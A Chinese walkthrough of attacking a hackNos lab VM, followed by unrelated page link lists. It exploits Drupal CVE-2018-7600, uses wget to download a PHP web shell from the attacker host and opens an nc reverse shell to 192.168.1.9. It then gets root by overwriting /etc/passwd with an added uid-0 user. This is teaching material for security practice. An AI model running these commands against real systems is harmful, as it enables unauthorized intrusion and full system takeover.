工具:

kali 192.168.1.6

nmap

打开使用nmap -sP 192.168.1.0/24 扫描活跃的主机

发现目标ip
使用nmap 查看开启了什么服务
Nmap -v -A -PN ip
-v 详细信息输出
-A 综合扫描,包含1-10000的端口ping扫描,
操作系统扫描,脚本扫描,路由跟踪,服务探测
-PN选项指示NMAP跳过默认的发现检查并对执行对目标的完整端口扫描。当扫描被阻止ping探针的防火墙保护的主机时,这是非常有用的。
结果:

两个端口服务

打开浏览器访问也是很正常的apache服务
扫描目录
gobuster dir -u http://192.168.1.7/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

发现一个目录访问后是个登入界面 看到下面 由Drupal提供支持

百度一下

发现是个内容管理系统

找一下看看有没有历史exp

https://github.com/pimps/CVE-2018-7600
下载exp然后进入
因为exp是使用python3 所以用p3打开
Python3 drupa7-CVE-2018-7600.py http://192.168.1.10/drupal/ -c +命令
+ls 查看目录

准备反弹一个shell来 先创建一个shell zss.php

然后把它传到目标目录下

这里开启httpd 命令python -m SimpleHTTPServer
创建一句话php
使用wegt下载单个文件 wget+url
Python3 drupa7-CVE-2018-7600.py http://192.168.1.10/drupal/ -c "wegt http://192.168.1.9:8000/zss.php"

wget命令用来从指定的URL下载文件
更多wget参数 http://www.manongjc.com/detail/14-zfjbmktrofpigin.html

Python3 drupa7-CVE-2018-7600.py http://192.168.1.10/drupal/ -c ls查看文件是否存在
进入浏览器访问一下

然后反弹shell回来

加个id访问一下shell

打开burp抓包
因为我写的一句话是system($_POST['zss'])
要改成post 发送试试

接下来通过命令查找nc 是否存在 which nc 存在的情况下 用nc反弹
参考反弹备忘录https://www.moonsec.com/archives/647
Zss=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.9 9001 >/tmp/f
编码发送后打开端口监听
Nc -lvnp 9001

接下来将简单的Shell转换成为完全交互式的TTY 
创建一个原生的终端 使用python提供的pty模块命令如下:
Python3 -c 'import pty:pty.spawn("/bin/bash")'
然后
按Ctrl-Z键将shell调至后台运行
接着我们将当前STTY设置为raw(请确保shell仍在后台运行),并使用以下命令回显输入
Stty raw -echo
(stty命令的作用:为了自己能够编写适合自己的终端驱动函数,即去修改终端驱动程序里面的设置。在Linux中有这个命令,就是stty。)
进入到了fg(前台)( 直接fg回车)

完全交互式的TTY转换完成
这一段参考文章https://www.sohu.com/a/161766202_709042

查看用户Cat /home/passwd
发现一个root和james用户 但root是没权限访问

在上级目录发现个文件解码一下

解码网站:https://tool.bugku.com/brainfuck/?wafcloud=1

再次解密后为
james:Hacker@4514
尝试登入一下

登入失败

再尝试提权
发现一个wget文件

然后想起看的一篇文章讲过wget的方法提权

https://www.cnblogs.com/linuxsec/articles/9193048.html

wget 是拥有root权限 即可以通过wget 下载可以替换文件

将passwd文件添加一个root权限用户 然后再替换靶机里的passwd
将目标passwd复制 在本地创建一个同名文件内容粘贴上去
生成用户密码

然后给以root权限 添加至passwd

zhh:$1$zhh$oW.m7I84VfqHwcxRhE/yF1:0:0:root:/root:/bin/bash

接下来从本机下载passwd替换 目标passwd
Wget http://本机ip+端口 -O 目标文件

查看passwd是否被替换

看见了添加的zhh用户

登入成功root权限

hacknos靶机实战的更多相关文章

  1. vulnstack靶机实战01

    前言 vulnstack是红日安全的一个实战环境,地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/最近在学习内网渗透方面的相关知识,通过对靶机的 ...

  2. 3. 文件上传靶机实战(附靶机跟writeup)

    upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs   运行环境 操作系统:推荐windows ...

  3. DVWA靶机实战-文件上传漏洞(二)

    继续打靶机:当前靶机的安全级别:medium 第一步 上传一句话木马,这次没有之前那么顺利了,文件显示上传失败,被过滤. 点开右下角view source查看源码: 只允许上传image/jpeg格式 ...

  4. DC-1靶机实战和分析

    前言 我们都知道,对靶机的渗透,可以宽阔自己的解题思路,练习并熟悉相关操作命令,提高自己的能力.下面我就对Vulnhub的DC-1靶机进行渗透,靶机设置了5个flag,咱们依次找到它.并通过图文形式讲 ...

  5. 上传靶机实战之upload-labs解题

    前言 我们知道对靶机的渗透可以提高自己对知识的掌握能力,这篇文章就对上传靶机upload-labs做一个全面的思路分析,一共21个关卡.让我们开始吧,之前也写过关于上传的专题,分别为浅谈文件上传漏洞( ...

  6. Vulnhub-Tomato靶机实战

    前言 靶机下载地址:https://www.vulnhub.com/entry/tomato-1,557/ KALI地址:192.168.94.108 靶机地址:192.168.94.30 一.信息收 ...

  7. Vulnhub-DC-4靶机实战

    前言 靶机下载地址:https://www.vulnhub.com/entry/dc-4,313/ KALI地址:192.168.75.108 靶机地址:192.168.75.207 一.信息发现 1 ...

  8. ATT&CK实战系列 红队实战(一)————环境搭建

    首先感谢红日安全团队分享的靶机实战环境.红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习. 靶机下载地址:http://vulnstack.qiyuanxue ...

  9. Acid靶机渗透

    Acid渗透靶机实战 攻击机:kali 192.168.41.147 靶机: acid 192.168.41.149 信息收集 ip发现 开启Acid靶机,通过nmap进行局域网存火主机扫描.![]( ...

随机推荐

  1. 小技巧:如何用 Chrome 将 SVG 转成 PNG

    怎么把 SVG 转成 PNG ?用 Chrome 吧,非常好用,还能设定自己想要的尺寸. 什么是 SVG ? SVG (Scalable Vector Graphics,可缩放矢量图形) 是基于 XM ...

  2. 如何优雅的用js动态的添加html代码?

    把想要的结构写在HTML里,用一个display:none的标签来包裹. 一般而言,会使用: 不设置为type="text/javascript"的script标签 textare ...

  3. PHP 实现过滤参数字符的方法

    //参数处理函数2function RepPostVar2($val){ if($val!=addslashes($val)) { exit(); } if(substr($val,-1)==&quo ...

  4. VMWare的三种网络连接方式

    VMWare和主机的三种网络连接方式 桥接 这种模式下,虚拟机通过主机的网卡与主机通信,如果主机能够上网,则虚拟机也能联网. 在虚拟机中,需要将虚拟机的IP配置为与主机处于同一网段. 虚拟机也可以与同 ...

  5. php5.5下安装pdflib的步骤

    php5.5下安装pdflib的步骤 1. 下载pdflib 下载地址为:http://www.pdflib.com/download/pdflib-family/pdflib/ 然后选择对应的版本, ...

  6. Unit4-窝窝之昆崚

    全文共3012字,推荐阅读时间10~15分钟. 文章共分五个部分: 作业分析 烘烤OO的精华 评测相关 课程体验感受 一些小小的建议 作业分析 Unit4要求我们实现UML解析器,迭代过程主要是增加对 ...

  7. map集合 可变对象

    #map集合 可变对象 stu = {'xiaoming':34,'xiaohogn':56,'小王':569} print(stu['小王']) ''' 如果key不存在,dict就会报错: > ...

  8. Vue结合路由配置递归实现菜单栏

    作者:小土豆biubiubiu 博客园:https://www.cnblogs.com/HouJiao/ 掘金:https://juejin.im/user/58c61b4361ff4b005d9e8 ...

  9. 一个线上问题的思考:Eureka注册中心集群如何实现客户端请求负载及故障转移?

    前言 先抛一个问题给我聪明的读者,如果你们使用微服务SpringCloud-Netflix进行业务开发,那么线上注册中心肯定也是用了集群部署,问题来了: 你了解Eureka注册中心集群如何实现客户端请 ...

  10. elasticSearch中集群状态的guan'l

    es中集群出现上面的问题一般是磁盘空间不够引起的,就是node节点所在的磁盘空间不足引起的 es整个集群放在c盘,都快满了 说明es的磁盘已经快被使用完了,我们可以临时更新下磁盘空间大小 修改 ES分 ...